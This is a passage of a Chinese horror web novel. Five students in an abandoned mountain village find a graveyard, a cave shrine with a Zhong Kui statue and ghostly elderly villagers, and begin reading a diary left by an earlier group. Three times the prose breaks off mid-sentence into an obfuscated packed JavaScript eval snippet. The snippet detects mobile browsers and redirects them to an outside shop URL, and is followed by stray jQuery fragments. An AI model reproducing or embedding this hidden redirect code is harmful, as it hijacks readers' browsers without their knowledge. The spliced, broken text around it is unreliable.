灌木丛另一边的宋英杰抬起手电往周围晃了一圈,想看清楚他们现在到底在哪,这一晃,差点没把手中的手电筒掉在地上。 察觉他手中的光有些颤抖,第五页疑惑出声,“怎么……”只是话还没说完,等她看到照到的周围样子,才明白他为什么会那么惊讶且害怕。 因为他们正处于一片坟地当中,周围一圈随处可见坟包,小小一个,黄土一堆,没墓碑,远远看去跟个小土坡似的。 第五页突然脚底有些发凉,怀疑他们现在踩着的也是个坟,低头看去,好在不是,只是一个普通的小山坡。 再次抬头时,灌木丛里已没了曹永朝的身影。 裴桐用手电筒帮他们照出曹永朝现在的位置。 不知何时,后者跑到了右前方的一棵老树后,那里似乎有个坑,瞧见他时,他正毫不犹豫地往里跳。 接着,四人又缓缓来到坑边。 只瞧见曹永朝跳下去后,驼着腰,扬起锄头,着魔似的开始哼哧哼哧挖坑,一旁是挖出来 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在坑边等了一会,不见底下人有醒来的迹象,裴桐跳下去,摸了摸他的鼻息,抬头回答他们,“睡着了。” 其余人松口气。 天亮了,华悠悠胆子也大些,端起相机对着坑内就是咔哧拍了两张。 底下裴桐拿起曹永朝刚才使用的锄头看了眼,边将锄头递给上面的他们,边说:“是我们住的土房后面的那把。” 第五页接过锄头。 宋英杰跳下坑,和裴桐一起将曹永朝扶住,背了起来。 等他们将完全沉睡过去的曹永朝背出深坑时,天上的雨也下得越来越大了。 忙活了一个晚上,他们准备带曹永朝回村子里。 但是雨下起来后,山里起了雨雾。 他们在山里转了半天,也没能走出去,鬼打墙似的一直在坟地附近绕圈。 眼看雨越下越大,没带雨具出来,他们身上都淋湿了。 最后没有办法,想着能不能先在附近找一个避雨的地方,反方向往山上走。 没想到竟真让他们找到一个山洞。 远远瞧见,五个人以最快的速度跑进山洞,裴桐背着曹永朝在山洞找了个稍稍干燥的地方放下。 几人抹了把脸和头发,看着外面落得越来越快的雨水。 宋英杰盯着大雨说:“看来这雨要下的有一会了,我们就在这里休息一下吧。顺便看能不能把曹永朝叫醒。” 华悠悠点头,嗯了声。 另一边,第五页用衣服擦干脸上和头上的水珠后,开始打量起这个山洞。 这个山洞很大,洞口目测有个两三米高,里面似乎也很深,肉眼看不到底,他们这会在洞口说话,能听见里面隐隐有回声传来,同时传来的还有一股淡淡的潮湿的霉味。 山洞地面从里往外,越往外越脏。 外面洞口有自然光线照射的这一块,地上什么东西都有,生锈的铁片、埋在地里一半的土罐子、枯枝树叶、腐烂的衣服、还有动物的尸体、骨头等。 反而是越往山洞里面走,地面越干净,连腐败的落叶也不见有一片。 她往里走没几步,便感觉周身迅速涌上一股寒意,笼罩住她。 看不见更深的地方,她抬手打开手电筒,往山洞深处照去。 意外的是,这手电筒的光并没有被山洞吞噬,反而在他们七八米外的位置停下,落在一个面目狰狞、似人非人的神像上。 神像藏在神龛里,背上披着件破烂的红袍,只露出半张脸。 第五页手中的光刚好落在神像脸上,神像眼珠便借着她的光不断闪动,好似从他们叽里呱啦跑进山洞开始,便在那一直默默注视着他们。 18. 第十七章:神龛 第五页盯着那尊神像,眼也不眨,像是被吸了神,被无形的线拴住,整个人定在原地。 直到肩膀突然一沉,有人拍上她的肩。 回头一看,是裴桐不知何时走到她身边。 回过神的瞬间,浑身骤然一轻,像是从其他地方跌回现实世界,心底竟有种劫后余生的庆幸。 当她再次抬眼看向那尊神像时,那神像的眼底已没了光,只剩下死气沉沉的斑驳泥胎,而她也趁着这个时候认出那尊神像是什么。 豹头环眼,铁面虬髯。 这是一尊被废弃的钟馗像,只是藏在这阴恻恻的山洞深处,外边神龛又破破烂烂,她才没有第一时间认出来,还以为是路边的野神像。 另一边宋英杰和华悠悠察觉到这边的动静,快步走到他俩身边。 宋英杰歪头瞥了眼神像,扶着下巴道,“这是钟馗像吧?” 华悠悠飞快举起相机,按下快门键,拍了两张照片后,低头看相机里拍的照片。 光线有点暗,拍得不是很清楚。 又抬头扫了圈黑黢黢的山洞,被山洞深处吹来的寒风冷到,搓了搓肩膀,声如细蚊,“钟馗像……怎么会放在这个地方?” 没人回答她,因为没有人知道答案。 说话间,缓过神来的第五页已经拿着手电筒走到最前面,来到钟馗像面前,围着神龛绕了圈。 没发现什么奇怪的符文,一切都很正常,就连钟馗神像前的小供桌上的香灰,都被洞里的小动物啃食干净,只留下薄薄一层深色痕迹。 她弯腰凑近神像,鼻尖几乎碰到冰冷的泥胎,一股腐木混着湿土的霉味钻入鼻腔。 原来刚才闻到的味道是从这上面传来的。 没等她这边分析出什么,华悠悠那边又像是有了新的发现,低低“呀”了一声,想要把他们都叫过去看,却又担心自己声音太大惊扰到这里的宁静,声音压在喉咙里。 “你们快过来看……这墙上好像有字……” 众人立刻围了上去,盯着洞壁上留下的坑坑洼洼的刻痕。 华悠悠举着相机,看了半天也没能读完一整句话,眉毛越皱越紧,小声道,“这上面写的什么啊?” 旁边宋英杰上前,伸手摸了摸洞壁上的刻字,缓缓开口,“这上面好像是用非白话文写的。” 华悠悠恍然般点头,咽口水,“难怪我读起来这么困难……那你能看懂吗?” 宋英杰大学选修过古汉语,相比他们来说,更加熟悉这类文字,他扫过整面墙的斑驳刻痕,片刻,对他们点了点头,“应该没问题。” 话音落,他转头投入到研究这一面墙的文字当中。 宋英杰找到自己擅长的领域后,便专心致志,再也听不到外界丁点声音。 第五页几人围看片刻,见帮不上什么忙,才四散开去。 在山洞里歇的这一会,他们轮番尝试过唤醒曹永朝,可惜都失败了。 后者陷入和昨天华悠悠一样的沉睡当中,甚至比她更甚,被人推搡着,也只是呢喃几句,翻个身又继续睡。 确认他身体确实没大碍,只是太累了后,他们便不再过多折腾,只等着雨停下来后把他背回村子里。 接下来,他们一边等洞外的雨停,一边盯着宋英杰翻译洞壁上的刻字。 除了洞外这一面刻满字的洞壁,他们还在神龛附近找到另一处刻字的洞壁。 不过这个就好看多了,虽然也被风侵蚀掉不少痕迹,但断断续续下来,还是能看清上面写的什么东西。 那似乎是一连串的名字,第五页手中的光从每个名字上一一扫过,数了下,一共十七个。 她不自觉地联想到前天晚上看见的鬼影队伍,二十二个鬼影。 如果这里的十七个人便是那些鬼影的话,那多出来的五个是谁? 数到最后一个名字时,忽然察觉有些不对劲,留意到,在所有名字刻字的最下方还有三个小字,落笔,雨守村。 这里刻的都是山下荒村村民的名字吗?难道这里其实是个山洞祠堂? 第五页觉得很有可能,只是那些村民为什么要将这个祠堂建到山上呢?是民俗习惯吗? 她敲了敲手指,放弃继续思考这个问题。 和其他人又在山洞里等了一会后,外面的雨终于慢慢小了下来。 宋英杰还在一字一字翻译洞壁上的刻字。 瞧见外面雨雾淡了不少,为了避免回去时迷路,他们几人当中方向感最好的裴桐站出来说:“我出去找找路。” 瞧见他起身,第五页也坐不住了,跟着说了句,“我跟你一起吧。” 裴桐抬眼看了看她,没说话,只是微微颔首。 两人走出山洞,山中的雨基本停了,只有零星雨点从树叶上滴落,砸在他们肩上,凉丝丝的。 近处的雾气彻底消散,远处却依旧白茫茫一片,山风拂过,云雾翻涌,竟有种置身仙境的错觉。 第五页原本打算直接往下走,裴桐却忽然拦住她指了另一个方向,“这边下去是坟地。我们从这边绕过去看能不能找到其他地方走出去。” 她没多问,跟着改了方向。 一路上,两人走走停停,听风看树,谁都没有说话。 偶尔树上会传来鸟叫和小动物从一棵树跳到另一棵树上的动静,这些声音让他们觉得他们还在现实当中。 第五页心里藏着事,还有问题想问裴桐,所以故意没开口调节气氛,打破两人之间诡异的安静。 直到走出不远的距离,她像是终于忍不住了,握着路边捡来的一根直直的棍子,边走边打落旁边灌木丛上的树叶,状似无意地嘟囔询问,“华悠悠说你哭了……” 裴桐的脚步顿了顿,肩膀一僵,但没停下脚步,继续跟在她身边,淡淡反问,“她为什么这么说?” 她沉默了下,接着小声道,“昨天晚上我们追着曹永朝上山的时候,她说看见你眼眶红红的,还以为你跟我吵架了。” 裴桐稍稍回忆了下,便想起那是什么时候,低声解释,“不是,那是因为之前在土房堂屋里烤火时不小心熏的。” 对于这个答案,第五页并不意外。 她其实也猜到些,只是她现在想开口问他的是另一件事,需要用这个问题来先打个头。 她挥舞着手中的木棍,打掉几片落叶,鼓动嘴巴,嘟嘟囔囔问出心中所想,“说到烤火,之前你在堂屋里说的分手是什么意思?你要跟我分手?” 这个问题她憋了一路。 只是一路上碍着曹永朝的事,没能找到机会开口,她也不喜欢憋着心事行动,所以直接了当的问最好,现在把话摊到明面上。 她本就不是藏着掖着的性子,问这话时,语气里还带着点赌气的意味。 然而听到她这么问,裴桐却骤然愣住,似乎不明白她为什么会这么想,猛地停下脚步。 第五页跟着停下来,赌气般直视着他的眼睛,像是要为自己讨个说法。 裴桐问她,“你怎么会这么想?” 她梗着脖子,语气不是很好。 心想,你能那样说,我还不能这样想了。 这么想着,她也把心里话说了出来。 裴桐看着她生气的样子,素来冷静的脸上竟也露出一丝不知所措。 两人从小一起长大。除了对方父母,他们是最了解对方的人,从朋友走到恋人,由于太过了解对方,他们几乎没有出现过什么争吵。 而当现在第五页生气地站在他面前质问他,他才恍然,恋人和朋友终究是不同的。成为恋人以后,因为自卑,因为在意,那些原本在朋友时能够说出的话要反复咀嚼后才能吐出。 而回想在堂屋烤火他反复咀嚼后吐出的竟然是那样一句话,裴桐想回去将那句话撤回。 盯着她生气的脸,想上前解释,嘴唇动了动,却不知该从何说起。 两个别扭的人,就这么在原地站了许久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她想和他像普通恋人那样相处,但是和他一样越靠近越会不安,她无法描述这个状态,只能将一切原因归咎于她生病了。 这个病很严重,严重起来可能随时会死,她不想依赖他,也不想成为他的累赘。 这个病好像让处于恋人关系中的他们天然不平等,总是一方照顾着另一方。 第五页不喜欢这样,她幻想的恋爱关系应该是自由的、舒服的。所以她才会开始莫名其妙对裴桐忽冷忽热、忽远忽近。 实际上是脑海中两团思绪在不停打架。 她想,她要快点找到治好自己病的方法。等一切恢复正常,再来处理他俩之间的别扭。却没想到她的拖延反而给了裴桐不安。 第五页也一点一滴地将自己的心里话吐出。 听完她的话,裴桐大概也明白了她的意思。 两人刚刚互诉完衷肠,站在原地有些不知所措。 磨蹭许久,裴桐盯着她的头顶低声问:“那你……还想和我在一起吗?” 答案肯定是想的。 但第五页不是个喜欢掏心掏肺谈心说话的人,平时大大咧咧惯了,刚才的互诉衷肠已经掏空她全部的勇气,感觉做这事比追查那些鬼影队伍难多了。 她不想说,便用行动代替。 反手扣住他的手。 不用一言一语,裴桐便明白了她的意思,没再继续追问,慢慢嘴角扬起一个浅浅的弧度。 两人相视而笑,牵着手,继续往山下走去,脚下的路依旧湿滑,可两人的步子都轻快不少。 没走多久,便走出了山林的笼罩。 眼前的雨雾散去,光景豁然开朗,他们从一个山头跑到另一个山头,从这边看到群山凹陷下荒村的一角,终于找到出去的路,两人都很惊喜,快步往回赶。 19. 第十八章:注视 回到山洞时,已大半个白天过去。 山洞里,宋英杰刚刚翻译完墙上的刻字,见他们回来,兴奋招手。 几个人围坐在一堆,他迫不及待跟他们分享自己在墙上看到的东西。 墙上的刻字年代久远,很多都被雨水侵蚀,断断续续的,可能都凑不完整一句话。 不过他还是从中发现点不一样的东西,宋英杰说这个山洞很有可能是底下那个荒村的洞祠。 这和第五页猜的相差无几。 从洞壁上的刻字来看,宋英杰说雨守村的建村可能要比他们想象早,或许能够追溯到建国以前。 那时候这边闹土匪,这个村子最早是被一群土匪占据着,为了挖些什么东西从外面抓了一批苦力进来。 由于这里地理位置特殊,再加上外面战火连天,易进不易出,那群被抓进来当做苦力的人便和土匪一起在这里生存下去,他们在这里建村。 只是土匪要他们找的东西并没有找到,在某一次土匪们全部进山后,被大雨困在山里,再也没回来。 那群被抓进来的苦力接管了这个山村,命名为雨守村。 至于另一面洞壁上的刻字,第五页猜的没错,的确就是荒村里被迫留下来的人的名字。 一共十七个名字,荒村内带上被冲塌的土房,一共七座房屋,勉强能够对得上。 土匪走后,村子里的人尝试出去过,只是外面战火连绵不断,大家的家人也不知在战火中飘向何方,为求一线生机,他们又躲回山里,就这样日日夜夜躲着,与世隔绝。 好似要变成传说中的桃花源林。 至于关于这个村子后来的事,洞壁并没有记录太多。 那群留下来的人他们是死了还是活着?如果死是全部自然老死吗?山洞下方的坟地埋着的是荒村里的老人? 为什么墙上只刻了十七个人的名字? 墙上刻着的名字似乎是最早一批被抓进来当做苦力人的名字,按理来说他们留下来建村,肯定会进行繁衍生息的活动,那为什么这块洞壁上没有新的名字被刻上去? 还是说这个地方只会记录最早一批进来的人? - 他们在这里待了很久,现在雨停了,他们也没有理由再继续待下去。 趁着现在,背上曹永朝,从坟地的另一侧绕路离开这个地方,赶在天还没黑前赶回荒村。 一天一夜未进食,几人饥肠辘辘。 没有喝水,喉咙干到说话开始嘶哑,勉强能用雨水润润唇。 由于这次他们不想在山里迷路,走得更为稳妥的一条远路,在山里走了很久,直到走到天快黑的时候,才终于在山的边缘看到荒村的影子。 此时的他们已是累得说不出话,凭着信念不停前进。 看见荒村的影子,几人欣喜若狂,不约而同地加快脚步,想立马赶回土房,找点东西填饱饿扁的肚子。 可是等他们进村后,却发现这个村子肉眼可见的不对劲。 仅仅离开一个白天,这个原本荒废的村子,竟凭空多出许多老人。 从他们踏进这个村子的那一刻,便能时不时在荒村的溪边,树下,窗边,土房门口看到人影,他们大多惨白着脸色,整个人呈现一种青黑色的状态,俨然已无活人气息,却能像活人一样做出动作。 有的蹲坐在土房门口,佝偻着背,目光呆滞地望着进村的方向;有的在空荡荡的屋子里游荡,脚步虚浮,像踩在棉花上;还有的定定地盯着村里唯一一棵枯死的老树,一动不动。 一开始,第五页还以为自己出现幻觉了,然而观察华悠悠他们,他们似乎也能看到那些人影,或者说鬼影。 天色已晚,外面的光线照不进这个山坳坳的荒村。 昏暗的环境下,根本看不清那些人有没有影子。 盯得久了,他们发现不止他们能看见那些老人,那些老人也能看见他们。在他们经过时,偶尔会向他们投来微笑。 这一刻,第五页前几天从进村开始就感受到的,一直萦绕在心头的,若有似无的窥视目光,全部变成了实实在在的注视。 恍然间,她突然冒出个荒诞的念头。 也许从他们进村的第一晚开始,这些老人便一直住在村子里,他们看不见老人,但老人却可以无时无刻地看见他们。 看着他们在村子里找空房子住下;看着他们淋雨;看着他们梦游;看着他们随意进出他们的地方; 也许对于那些老人来说,几天前进村的他们是一批实实在在的外乡人,但是从现在开始,他们终于成为他们的一员。 一股寒意从脚底窜上头顶,第五页忽然间有种错觉,他们真的还活着吗?这个村子里的人都是死人?他们是不是已经从人间来到了地府? 不止她这么想,队伍里的其他人也这么想。 大家互相看来看去,在村口磨蹭,不知道该不该继续往里走。 华悠悠看着那些土房门口的老人跟她笑着打招呼,片刻眨眼后又消失不见,犹豫地拽紧怀中的相机带子,压低声音问他们,“我们……还回去吗?” 宋英杰眉毛皱得很紧,他其实心里也很慌,但是作为社团社长,一个团队的领头,必须起表率作用,“先回之前睡的地方看看吧,我们的东西还在房子里,拿上东西后再做打算,我们尽量走近点别分开。” 华悠悠点了点头。 裴桐背着还未醒过来的曹永朝,第五页也拽上裴桐的衣角。 五人紧凑地继续往荒村深处走去。 这种诡异的感觉一直维持到他们回到之前住下的土房。 还未走近,他们便远远瞧见一位白发苍苍的老太太正坐在门槛上,穿着一身看不懂样式的灰白布衫,两只灰白的眼珠明明看着他们,却了无生气。 老太太瞧见他们,牵动脸上的褶子,勾着背,拍了拍大腿,颤颤巍巍地站起来,声音带着年迈人独有的粗糙,“哎哟,你们可算回来了,我等你们好久了……” 看着老太太的样子,第五页等人停下脚步,面面相觑,没有一个人敢上前。 反而是老太太带着咯咯咯的笑声,仿佛深夜路边出现的野店里的妖怪,热络地招呼他们,“还愣在那干什么啊……你们在山里走了一天,肯定累坏了、饿坏了吧……哎呦,我可怜的娃……” 最后还是第五页先走上前,慢慢来到老太太身边,近距离观察,但没有说话。 裴桐随后,背着曹永朝跟着他们进入屋内,准备先将曹永朝搬回房间放下。 宋英杰和华悠悠落在最后。 一路上,这个莫名出现的老太太仿佛有滔滔不绝的话要讲,絮絮叨叨地跟他们说,“……好久没见有人回到这个村子了,我们还以为外面的人都把这个地方忘咯,还好你们来了,我这个老婆子可太高兴了……” “……你们来这个村子没地方住吧?没关系就住我家,你们想住多久住多久,哪怕住一辈子都没关系……” 听到这,第五页大概明白了点什么。 这个老太太似乎是他们之前住下的土房的主人,如果真的从他们进村开始,这些老人就住在这里,只是他们看不见。 那他们岂不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104168|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这样堂而皇之地闯进别人的房子,或许和强盗无几。 想到这,她不知道自己是该先愧疚还是先害怕,头一次脑袋这么乱,只能一步步跟着她走。 走到一半,老太太絮絮叨叨说了半天,像是恍然,猛地一拍手,“哎呦瞧我这记性,你们都饿了一天了,我去厨房给你们做饭,你们在这里等着啊……” 说完又回头离开房子,转身去了后厨。 害怕那老太太会用莫名其妙的东西把他们锁在这里。 宋英杰迅速过去推了推门,好在门没锁,然而这几秒的声音,外面已没了那老太的身影,天色也彻底黑下来。 几人把曹永朝扶回房间,安置在床上。 又检查了遍他们之前安放在房子里的东西,都还在。 做完这些,他们回到曹永朝的房间,围在床边,脸色严肃。 华悠悠瞥了眼床上的曹永朝,然后问他们,“外面那些老人……是鬼吗?” 说实话,她从进村开始就感觉瘆瘆的,要不是同伴还在身边,她都要开始怀疑自己是不是还活着了。 外面那些东西到底是什么?是鬼吗? 也许是从进村前他们就相信这个世界的某个角落存在常人无法理解的东西,所以在进村后遇见这些东西,并没有被吓得像恐怖片里的炮灰一样,四处乱窜。 从村口回来的这段路上,华悠悠还曾几次想拿起相机偷偷拍一下那些鬼影。不过都被她压下了这个心思。 宋英杰也不知道那些是什么,面色难看地摇摇头。 裴桐环手站在角落,他的想法和第五页的一样,“那些老人看起来像是原本就住在这个村子里的人,刚才那个老太也许是我们现在待的这个房子的主人。” 华悠悠立马联想到山上山洞里写下的那十七个名字,惊讶道,“难道过了这么久他们还没死?” 宋英杰说:“山洞里的刻字显示这个村子建村起码有一百五十年,普通人根本不可能活这么长时间。” 这么说,外面那些老人不是山精就是鬼怪了。 不管是什么,他们这次社团活动寻找的目标都近在眼前。恐惧之余还有一丝丝兴奋,像是破除这个世界的真相。但还没完全失去理智。 华悠悠心中还有其他疑问,吞口水,扫视其他人,“可是为什么是这个时间点?” “为什么是这个时间点出现在村子里?” 沉默许久的第五页开口了,“不是出现在村子里,是我们看到他们。” 裴桐眉头轻蹙,“你是说他们一直都在村子里?只是我们没看到。” 想象那个场景,也许从进村开始,便有这些不知是人还是鬼的东西,一直在暗处悄悄注视他们。 华悠悠不自觉打了个冷颤,“那……为什么是这个时间点?我们看到他们?” 这之间一定有个契机。 但是这个契机是什么,第五页也没明白。 没讨论出结果,最后他们决定先在这个村子休息一晚。 天已经黑了,现在进山找路不安全,曹永朝睡了一天还没醒来,他们也需要休整。 目前看来,村子里的这些鬼影对他们态度似乎良好,如果可以,他们需要在这里寻找出去的机会,那些老人或许知道该如何出去。 至于下午回来在房子门口遇见的老太,第五页和裴桐又去房子后面的厨房看了眼,不出意外的没看到老太的身影,只瞧见一只在厨房角落潮湿稻草上趴着呼呼大睡的瘦鸡。 至于说的做饭,他们掀开锅盖一看,冰冷的锅底贴着几张黄泥压成的饼。 20. 第十九章:皮革本 变化总是伴随着危险。 为了防止他们队伍中再有人出意外,夜晚,他们还是轮流守夜、交换班,一直硬撑到天亮。 天亮以后,土房后面的瘦鸡睡了一整晚,像是终于睡饱了,打出一声嘹亮的鸡鸣。 第五页守了半个晚上,天快亮时才有空回床上。 躺在睡袋里,脑子乱糟糟的,游荡的鬼影队伍,坟地里曹永朝挖坑的背影,还有山洞里一直盯着他们的钟馗像,轮番在眼前晃。 不停的思考让她太阳穴隐隐作痛,抬手按在两边,轻轻揉两下,闭上眼睛,这才昏睡过去。 再次醒来时,外面静悄悄的。 她撑着胳膊起身,挪到堂屋。 堂屋空荡荡的,一个人都没有。 她走到大门边,看着那扇虚掩的大门。 从缝隙往外看,只能瞧见白乎乎的一团。 第五页迟疑片刻,推开大门。 不知何时,外面整个荒村都笼罩在一片白雾之下,雾蒙蒙的,连稍近一点的房子轮廓都看不真切。 什么时候起了这么大的雾?现在白天荒村也开始起雾了吗? 她眯着眼睛往雾里看,用手在面前扇了扇,企图用这样简单的动作将眼前变得更清楚。 模糊间,她忽然瞧见白雾当中一个黑色的人影涌动,像是往她这边走来。 片刻后,那人影慢慢清晰起来,是抱着几件衣服的华悠悠。 看见她站在门口,华悠悠还脚步顿了顿,小声惊讶道,“你怎么这么早就醒了……”估摸了下时间,“这才睡了三个小时吧。” “没事。”第五页摸了把脸,强制让自己清醒过来,“睡这会足够了。” 反正睡过去也会反反复复地醒来,还不如起来做点事。 她的目光从华悠悠的脸上落在她怀中的衣服上。 华悠悠察觉到她的目光,又把衣服往怀里拢了拢,说:“我看外面天亮了,就想着我们前几天洗的衣服一直没收来着,趁还没下雨,出来收一下。” 边说着边往她身边走。 “衣服干了吗?”第五页问。 华悠悠垂眸看了眼怀中潮乎乎的衣服,神情落寞地摇摇头。 答案是否定的,这个地方没有太阳,还接连下雨。 进村的这几天,他们所有人带进来的衣服全部开始发潮发霉,第五页和其他人出去的时候特意留意过,每个人的身上都有一股淡淡的霉味,和突然出现在村子里的那些老人身上气味一样。 华悠悠抱着衣服往屋里走。 第五页跟在她身后,扫了眼其他敞开的房门,没瞧见其他人,便放轻脚步,低声问,“他们呢?” “天亮过后,社长就带裴桐他们去村子里了,还想看看昨天晚上见到的那些老人,白天能不能看见。”华悠悠说:“说如果见到了,想尝试下能不能交流。说不定能向他们问出离开这里的办法。” “哦,对了,在你刚睡下的时候,曹永朝也醒了。看起来没什么大碍,只是不明白为什么一醒来看到我们脸色这么难看?” 说到这,华悠悠勉强扯了扯嘴角,挤出一个苦笑,“感觉什么都不知道也是一种幸福呢。” 说完便抱着那些半潮半干的衣服,低头快步回了房间。 徒留第五页一个人在堂屋里,心情复杂。 - 午后,宋英杰带着裴桐和曹永朝回来了。 他们的脸色并没有比早上出去时好看多少。 回来后,将他们在村子里的所见所闻分享给她们。 天亮过后,村子里起了雨雾。 能见度低到吓人,而且聚集在荒村久久无法散去。 宋英杰和裴桐他们在村子里转了十几圈,也见到了昨天晚上看到的那些老人,他们沉默地站在雾里,站在斑驳的房子前。 如果不是对方那毫无活人气息的眼珠,他们都以为那些老人真的还活着。 偶尔那些老人还能冲他们状似友好地笑笑。 然而每次当他们想凑上前,开口问他们如何离开这荒村时。往往一个转身、一个眨眼的功夫,那些老人就全都不见了,仿佛从来没有出现过。 尝试得久了,他们总有种错觉。 这个村子的老人,或者说这个村子本身。像是在故意不让他们离开。 他们不清楚是不是这个村子在跟他们暗示什么,只是脸色变得更加不好看起来。 听完他们说的村子里的情况,第五页又向他们问了一件其他的事,“你们今天早上在村子里转了这么多圈,除了那些老人,还有没有见过比较年轻的人?不需要特别年轻,只需要看起来比那些老人年龄小些,或者中年人?” 宋英杰不知道她为什么这么问,只是眉头轻蹙,摇头,“没有。” 没得到想要的答案,第五页心中失落一瞬,在无人看见的角落敲敲手指,脑中思量着其他可能。 接下来的几天,他们依旧没有放弃,一直在村子里寻找出去的办法。 也有尝试过再次进山寻找出路。 可惜还是无功而返。 晚上睡觉,他们不敢睡太沉,轮流守夜。 唯一的好消息是,自从曹永朝梦游醒来过后,他们队伍里再没有其他人出现过梦游情况,大家都是一觉睡到天亮。 至于之前为什么队伍里会有人突然开始梦游,去山上坟地里挖坑,他们翻来覆去地想,还是没有半点头绪。 某个晚上,轮到第五页和华悠悠守夜时。 第五页瞧见华悠悠将那天晚上她和裴桐在堂屋里烤火的那个烤火炉搬了出来,又不知从哪捡来些潮湿的木头,一股脑塞进烧火炉里。 尝试点燃后,开始用炉子里微弱的火光烘烤他们半潮半干的衣服,边烤还边叹气嘟囔,“唉,也不知道这样我们的衣服能不能烤得干。” “这个村子太湿了,脏的洗了过后干不了,干的慢慢放着又变潮了。”想到这些,华悠悠担忧地耸起眉心,“穿着这些潮湿的衣服,感觉我们身上都要起霉味了。” 第五页坐在她对面,手肘撑着膝盖,看着那火炉中微弱的光穿透华悠悠手中的衣服,映在她的脸上。 突然,她脑中灵光一闪,像是想到了什么。 猛地站起身,快步往房间走去。 翻找了好一会,才从众多行李物件当中找到自己想要的,一个藏青色皮革本。 除了这些,她还翻找出找到这个皮革本的那天,同时获取的其他东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108861|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张发霉的照片,以及裴桐回来在堂屋里捡到的木匕首。 回到烤火炉边。 她先将木匕首和照片放置一边,然后捧着笔记本蹲到火炉边,小心翼翼地翻开,指尖拂过本子上潮湿的霉斑,轻轻将皮革本往火光边凑了凑,企图用这样的方式烘干笔记本上的水汽和霉菌,将里面粘连的页面分开。 看这个皮革本的样子,像是在那个阁楼里放了很久。 第五页并不知道烘干后里面的字迹还会不会存在,又或许这个本子里面什么都没写,只是被那家主人随手夹了张照片丢在抽屉里。 但她还是想尝试下,不放过任何线索。 去印证心中那个猜想。 坐在对面的华悠悠看着她把这个皮革本拿出来,眼睛眯了眯,片刻惊道,“这不是我和你在阁楼里找到的那个皮革本吗?” 她轻轻嗯了声。 继续说:“你还记得吗?那天我和你在阁楼抽屉除了捡到这个皮革本、发霉的照片、一支断墨的钢笔,还有一台相机。” 华悠悠似懂非懂的点点头,“记得……不过我记得那个相机已经不能用了,缝隙里全是霉菌和水汽,根本打不开。款式看着倒像是六七年前的,应该是那个时候流行的……” 说到这,她猛地停下来,像是突然联想到什么,眼睛微微睁大。 她记得之前宋英杰说过,这个村子建村最起码有个一百五十年。如果村里那些老人之前出去过,后面因为外面打仗又回来了,并且再没有出去过。那这个村子怎么会出现六七年前流行的相机呢? 此刻的华悠悠像是被人打通任督二脉,顿时明白了她的话中话,“你是想说……在我们来之前,七八年前这个村子里就进过其他人,对吗?”说到最后,声音因为激动有些变大,但想到屋子里还睡着同伴,又瞬间压了下去。 第五页看着她骤然亮起的眸子,弯了弯嘴角,轻轻颔首,“我就是这个意思。” 至于关于这个村子更多的秘密,这个还未被她们打开的皮革本,或许会告诉她们答案。 现在只希望这个皮革本被火烤后,里面真的有东西,并且字迹不要褪去太多。 明白过来后的华悠悠兴奋起来,也不再尝试烘干衣服了,开始专心意意地帮她烧火,想要将炉中的火烧得更旺些。 再也不敢烧太大,怕最后一个不小心把笔记本烧着了。 两人就这样围坐在堂屋中央的火炉边,忙忙碌碌大半个晚上。 手中的皮革本终于从湿软变得干脆,两颗脑袋挤在一起,小心翼翼将本子的内页分开。 好消息是,里面真的有内容。 坏消息是,经过日积月累霉菌的侵蚀,里面大部分的字都变得模糊不清,油墨晕开透过纸张,仅能模糊读取一部分内容。 不过即使这样,她们也很满足了。 两人轻手轻脚地翻开本子。 第一页没什么内容,写了一个六年前的日期,她们猜测可能是购买这个本子的日子。 在日期下方还用俄语写了好运祝福语。 往后翻,第一页和第二页之间少了好几页,从装订的缝隙看,有明显被撕掉的痕迹。 直到第三页,才开始有了正式的记录— 21. 第二十章:日记 今天是进入雨守村的第三天(划掉)第五天。 从现在开始,我需要在这个本子上记录我们队伍里发生的所有事。因为这个村子有些不对劲,不知道是不是我的错觉,从进村后我就感觉记性变得越来越差。以下是关于我们队伍里每个人的信息,供以后的我随时回来查看,确认是否有遗忘的部分。 这次进村,我们队伍里一共有五个人,我叫文青香,我的队友分别是安天恩(女)、加里(男)、康阳成(男)、齐聪(男)。 我们是在国外的一家野外生存俱乐部认识的,加里是当地人,而我们其他人都是国内的,来自国内不同地区,由于都爱好野外生存,在那个俱乐部相聚甚欢。 之后也曾相约去过世界各地探险危险的山林。 这一次,我们从国内某个网站上得到消息,回到国内后,几番周折,终于进入这个被命名为雨守村的荒村。 从其他网站上我们并没有找到任何关于这个村子的资料,甚至连地图软件上都没有它的定位。 一开始我们只是想过来碰碰运气,顺便跟加里介绍介绍我们的家乡。却没想到误打误撞真的进了这个荒村。 而从我们开始进山后,队伍里便接连发生怪事。 先是在进山的树林里看见一群人形影子,他们在深山里成群结队地游荡。 接着我们找到进山的一个小山洞,在那里发现进村的路。那个进村的入口很小,地下河压去山洞的一半,我们只能在船上趴着身体穿过山洞的豁口。 